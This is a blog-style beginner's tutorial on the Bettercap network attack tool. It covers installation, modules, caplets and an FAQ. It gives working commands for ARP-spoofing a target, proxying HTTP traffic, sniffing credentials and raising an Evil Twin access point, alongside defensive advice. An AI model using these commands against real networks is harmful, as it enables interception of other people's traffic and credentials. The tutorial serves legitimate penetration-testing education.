How to Use Bettercap for Network Penetration Testing ? Beginner’s Guide with Commands and Use Cases

Bettercap has become one of the most powerful and flexible tools for network penetration testing, trusted by cybersecurity professionals and ethical hackers alike. Designed to perform man-in-the-middle (MITM) attacks, packet sniffing, wireless network exploitation, and real-time traffic manipulation, Bettercap is a must-know for anyone entering the field of cybersecurity or red teaming.

In this blog, you'll learn what Bettercap is, how it works, and how to start using it effectively for various security testing scenarios.

 What Is Bettercap?

Bettercap is a powerful, open-source network attack and monitoring tool built in Go (Golang). It can analyze, manipulate, and hijack live traffic on a network. Whether you're performing MITM attacks, sniffing credentials, or testing IoT devices, Bettercap offers a comprehensive suite of features.

It’s widely used in penetration testing, red teaming, Wi-Fi hacking, and network reconnaissance.

 Why Use Bettercap in Penetration Testing?

Here are key reasons cybersecurity professionals use Bettercap:

• Real-time traffic interception and manipulation

• Perform DNS spoofing, HTTPS stripping, and ARP poisoning

• Sniff credentials and monitor unencrypted data

  
  

• Analyze and log Wi-Fi traffic

• Launch deauthentication and Evil Twin attacks

• Lightweight and scriptable using its internal caplets engine

 Installing Bettercap

Bettercap runs on Linux, macOS, and Windows, but is best used on Kali Linux or Parrot OS.

Installation on Kali Linux:

sudo apt update
sudo apt install bettercap

Or build from source:

go install github.com/bettercap/bettercap@latest

Check version:

bettercap -h

 Understanding Bettercap Modules

Bettercap uses modules and caplets (scripts) to perform different tasks.

Key Modules:

 Starting a Basic MITM Attack with Bettercap

Here’s how to launch a simple Man-in-the-Middle attack:

Step 1: Enable IP forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

Step 2: Start Bettercap

sudo bettercap -iface eth0

Step 3: Run modules

net.recon on
set arp.spoof.targets 192.168.1.105
arp.spoof on
http.proxy on

Now you're intercepting HTTP traffic between the victim and the gateway.

 Bettercap for Wi-Fi Penetration Testing

You can also use Bettercap to scan wireless networks, deauthenticate users, and even create fake access points.

Example Wi-Fi commands:

wifi.recon on
wifi.ap.ssid EvilTwin
wifi.ap on

Use these in monitor mode and with a compatible wireless card.

 Caplets — Bettercap’s Automation Engine

Caplets are script files containing Bettercap commands. They're perfect for automating testing routines.

Example Caplet:

set arp.spoof.targets 192.168.1.105
arp.spoof on
http.proxy on
net.sniff on

Run with:

bettercap -caplet myattack.cap

Diagram: Bettercap MITM Attack Flow

[Victim] <--> [Attacker (Bettercap)] <--> [Router/Internet]
         ↕             ↕
     Sniffed Credentials, Hijacked Sessions

 Defensive Practices Against Bettercap

Organizations and Blue Teams should implement:

• Static ARP entries or dynamic ARP inspection

• DNSSEC to prevent spoofing

• HSTS to enforce HTTPS

• WPA3 and secure Wi-Fi segmentation

• Network monitoring tools like Zeek, Suricata

 Real-World Use Cases for Bettercap

• Red team assessments against internal company networks

• Wi-Fi audit to test public or enterprise wireless setups

• Training SOC teams to recognize active MITM or spoofing

• Demo tool in cybersecurity bootcamps and workshops

 Final Thoughts

Bettercap is more than just another MITM tool — it’s a Swiss Army knife for network pentesters. With its wide range of modules, scripting engine, and Wi-Fi capabilities, it's ideal for both beginners and advanced cybersecurity professionals.

But with great power comes responsibility — always use Bettercap ethically and legally, with proper authorization.

Want to dive deeper into Bettercap scripting or automate full red team engagements? Let us know, and we’ll guide you further.

 FAQ

What is Bettercap used for in cybersecurity?

Bettercap is used for network penetration testing, MITM attacks, traffic sniffing, spoofing, and wireless auditing.

Is Bettercap free and open-source?

Yes, Bettercap is completely open-source and free to use under the GPL license.

How do I install Bettercap on Kali Linux?

You can install it via sudo apt install bettercap or build it from source using Go.

What is the purpose of ARP spoofing in Bettercap?

ARP spoofing allows attackers to position themselves between a victim and the router to intercept or modify traffic.

Can Bettercap perform HTTPS stripping?

Yes, using the https.proxy module, Bettercap can attempt SSL stripping on non-HSTS sites.

What are Bettercap caplets?

Caplets are scripts containing Bettercap commands used for automating attacks or testing scenarios.

How does Bettercap differ from Ettercap?

Bettercap is faster, actively maintained, scriptable, and supports wireless attacks, unlike Ettercap.

Is Bettercap safe to use?

Yes, when used in ethical environments like penetration testing with permission.

What operating systems support Bettercap?

It supports Linux, macOS, and Windows, though it works best on Linux.

Can I use Bettercap on a Raspberry Pi?

Yes, Bettercap can be compiled and run on Raspberry Pi devices for portable testing.

What is net.recon in Bettercap?

It’s a module used to scan and discover hosts and services on the local network.

How can I sniff credentials using Bettercap?

Enable MITM modules like http.proxy, net.sniff, and log intercepted credentials.

Can Bettercap create a fake Wi-Fi access point?

Yes, using wifi.ap module, you can create Evil Twin access points to capture credentials.

What is the difference between net.sniff and net.recon?

net.recon discovers hosts/services; net.sniff captures packets in real time.

Does Bettercap work for wireless attacks?

Yes, it supports Wi-Fi scanning, deauth attacks, and AP spoofing.

What is a MITM attack in Bettercap?

It’s a man-in-the-middle attack where Bettercap intercepts communication between two parties.

How do I start Bettercap with a caplet?

Use bettercap -caplet myscript.cap to run a predefined script.

Is Bettercap legal to use?

Yes, when used for authorized testing, education, or inside test labs.

What are common targets for Bettercap testing?

Local network devices, IoT hardware, unsecured HTTP logins, and Wi-Fi environments.

Can Bettercap be detected by intrusion detection systems?

Yes, many IDS/IPS systems can detect ARP poisoning or unusual traffic caused by Bettercap.

Does Bettercap support DNS spoofing?

Yes, with the dns.spoof module you can redirect domains to fake IPs.

What is IP forwarding and why is it needed?

It allows your machine to route packets; required for proper MITM routing in Bettercap.

What is the best way to learn Bettercap?

Practice in lab environments, study official documentation, and use sample caplets.

Can I automate attacks using Bettercap?

Yes, via caplets or scripting Bettercap’s commands.

Does Bettercap work over VPNs?

Typically no, since it relies on being within the local network for MITM.

How can I stop a Bettercap attack as a defender?

Use static ARP tables, enable port security, and monitor ARP anomalies with IDS tools.

Can Bettercap run without root access?

Most functions require root to access network interfaces and send forged packets.

What programming language is Bettercap written in?

Bettercap is developed in Golang (Go).

Where can I find Bettercap caplets to use?

Official repository: https://github.com/bettercap/caplets

Is Bettercap included in Kali Linux by default?

Yes, it is pre-installed in recent Kali Linux distributions.